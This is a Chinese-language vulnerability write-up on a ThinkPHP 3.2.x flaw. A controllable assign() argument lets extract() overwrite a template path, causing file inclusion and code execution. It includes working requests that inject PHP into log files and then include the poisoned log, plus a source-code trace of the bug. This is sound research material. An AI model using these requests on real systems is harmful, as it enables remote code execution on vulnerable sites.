前言

该漏洞是在受影响的版本中,业务代码中如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。个人感觉这个漏洞虽然不如thinkphp本体的一些RCE漏洞影响范围大,但也算是提供了一个思路,对基于某些框架二次开发的系统,寻找其不规范的方法调用的思路还是值得学习的。

漏洞复现

控制器添加test方法,写入模板赋值assign的 Demo

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
    }

    public function test($value){
        $this->assign($value);
        $this->display();
    }
}

因为该漏洞利用的assign函数需要模板渲染,所以需要对应的模板文件,与demo相对应的文件路径:

view下创建一个Index目录,然后在Index目录下面新建test.html文件进行视图渲染,文件内容随意
目录:\Application\Home\View\Index\test.html

创建日志文件:

http://192.168.1.8/index.php?c=<?php=phpinfo();?>
// 没有给调用的模块参数,默认为Home, 控制器报错,日志在 Application/Runtime/Logs/Home 下面
    
http://192.168.1.8/index.php?m=--><?=phpinfo();?>
// 模块报错, 日志在 Application/Runtime/Logs/Common下面

日志文件目录:

开启debug

请求不报错 日志文件在 对应的模块下面 比如Home模块  路径:Application/Runtime/Logs/Home下

请求会报错 
如果是模块错误  日志文件在 Application/Runtime/Logs/Common下
如果是控制器或者方法错误 日志文件在对应的模块下面 比如Home模块 路径:Application/Runtime/Logs/Home 下

关闭debug

请求不会报错 不会记录日志
请求会报错 保存的位置和开启debug一致 

包含日志文件:

http://192.168.1.8/index.php?m=Home&c=Index&a=test&value[_filename]=./Application/Runtime/Logs/Home/21_06_08.log

漏洞分析

Application/Home/Controller/IndexController.class.php

assign方法中第一个变量可控

    public function test($value){
        $this->assign($value);
        $this->display();
    }

跟进assign函数

ThinkPHP/Library/Think/Controller.class.php

    protected function assign($name,$value='') {
        $this->view->assign($name,$value);
        return $this;
    }

调用的是ThinkPHP/Library/Think/View.class.php中的assign函数,

此时进入else分支,我们传进去的$value被赋值给$this->tVar[$name]

    public function assign($name,$value=''){
        if(is_array($name)) {
            $this->tVar   =  array_merge($this->tVar,$name);
        }else {
            $this->tVar[$name] = $value;
        }
    }

然后返回, 无参调用 display 函数,跟进display函数

调用的是ThinkPHP/Library/Think/View.class.php的display函数

    protected function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
        $this->view->display($templateFile,$charset,$contentType,$content,$prefix);
    }

继续跟进

开始解析并获取模板文件内容,此时模板文件路径和内容为空

    public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
        G('viewStartTime');
        // 视图开始标签
        Hook::listen('view_begin',$templateFile);
        // 解析并获取模板内容
        $content = $this->fetch($templateFile,$content,$prefix);
        // 输出模板内容
        $this->render($content,$charset,$contentType);
        // 视图结束标签
        Hook::listen('view_end');
    }

进入ThinkPHP/Library/Think/View.class.php的fetch函数后,

这里会先判断模板存不存在,模板文件不存在直接返回,所以开始需要创建模板文件

接着判断是不是php类型模板,不是进入else分支。

接着$params 被赋值,var即为为我们传进去的日志路径,file为模板文件的路径。

    public function fetch($templateFile='',$content='',$prefix='') {
        if(empty($content)) {
            $templateFile   =   $this->parseTemplate($templateFile);
            // 模板文件不存在直接返回
            if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
        }else{
            defined('THEME_PATH') or    define('THEME_PATH', $this->getThemePath());
        }
        // 页面缓存
        ob_start();
        ob_implicit_flush(0);
        if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
            $_content   =   $content;
            // 模板阵列变量分解成为独立变量
            extract($this->tVar, EXTR_OVERWRITE);
            // 直接载入PHP模板
            empty($_content)?include $templateFile:eval('?>'.$_content);
        }else{
            // 视图解析标签
            $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
            Hook::listen('view_parse',$params);
        }
        // 获取并清空缓存
        $content = ob_get_clean();
        // 内容过滤标签
        Hook::listen('view_filter',$content);
        // 输出模板文件
        return $content;
    }

接着进入ThinkPHP/Library/Think/Hook.class.php的listen函数,经过一些判断,进入exec函数

   static public function listen($tag, &$params=NULL) {
        if(isset(self::$tags[$tag])) {
            if(APP_DEBUG) {
                G($tag.'Start');
                trace('[ '.$tag.' ] --START--','','INFO');
            }
            foreach (self::$tags[$tag] as $name) {
                APP_DEBUG && G($name.'_start');
                $result =   self::exec($name, $tag,$params);
                if(APP_DEBUG){
                    G($name.'_end');
                    trace('Run '.$name.' [ RunTime:'.G($name.'_start',$name.'_end',6).'s ]','','INFO');
                }
                if(false === $result) {
                    // 如果返回false 则中断插件执行
                    return ;
                }
            }
            if(APP_DEBUG) { // 记录行为的执行日志
                trace('[ '.$tag.' ] --END-- [ RunTime:'.G($tag.'Start',$tag.'End',6).'s ]','','INFO');
            }
        }
        return;
    }

接着exec函数把$params 带进ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php的run函数处理

    static public function exec($name, $tag,&$params=NULL) {
        if('Behavior' == substr($name,-8) ){
            // 行为扩展必须用run入口方法
            $tag    =   'run';
        }
        $addon   = new $name();
        return $addon->$tag($params);
    }
   public function run(&$_data){
        $engine             =   strtolower(C('TMPL_ENGINE_TYPE'));
        $_content           =   empty($_data['content'])?$_data['file']:$_data['content'];
        $_data['prefix']    =   !empty($_data['prefix'])?$_data['prefix']:C('TMPL_CACHE_PREFIX');
        if('think'==$engine){ // 采用Think模板引擎
            if((!empty($_data['content']) && $this->checkContentCache($_data['content'],$_data['prefix'])) 
                ||  $this->checkCache($_data['file'],$_data['prefix'])) { // 缓存有效
                //载入模版缓存文件
                Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']);
            }else{
                $tpl = Think::instance('Think\\Template');
                // 编译并加载模板文件
                $tpl->fetch($_content,$_data['var'],$_data['prefix']);
            }
        }else{
            // 调用第三方模板引擎解析和输出
            if(strpos($engine,'\\')){
                $class  =   $engine;
            }else{
                $class   =  'Think\\Template\\Driver\\'.ucwords($engine);                
            }            
            if(class_exists($class)) {
                $tpl   =  new $class;
                $tpl->fetch($_content,$_data['var']);
            }else {  // 类没有定义
                E(L('_NOT_SUPPORT_').': ' . $class);
            }
        }
    }

进入ThinkPHP/Library/Think/Template.class.php的fetch函数

    public function fetch($templateFile,$templateVar,$prefix='') {
        $this->tVar         =   $templateVar;
        $templateCacheFile  =   $this->loadTemplate($templateFile,$prefix);
        Storage::load($templateCacheFile,$this->tVar,null,'tpl');
    }

进入最后的load函数,$var不为空则使用extract方法的EXTR_OVERWRITE默认描述对变量值进行覆盖,

之后include该日志文件路径,造成文件包含。

    public function load($_filename,$vars=null){
        if(!is_null($vars)){
            extract($vars, EXTR_OVERWRITE);
        }
        include $_filename;
    }

参考文章

【漏洞通报】ThinkPHP3.2.x RCE漏洞通报

ThinkPHP3.2.x RCE复现

炒冷饭之ThinkPHP3.2.X RCE漏洞分析